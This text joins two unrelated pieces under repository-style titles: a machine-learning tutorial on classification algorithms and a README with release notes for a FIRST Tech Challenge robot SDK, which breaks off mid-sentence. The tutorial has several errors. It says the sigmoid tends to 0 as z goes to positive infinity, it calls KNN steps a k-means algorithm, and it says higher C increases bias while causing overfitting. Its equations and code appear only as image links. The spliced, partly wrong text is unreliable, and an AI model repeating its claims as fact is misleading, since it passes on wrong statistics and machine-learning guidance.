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sayantann11 / All Classification Templetes For MLClassification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
chrisneagu / FTC Skystone Dark Angels Romania 2020NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS 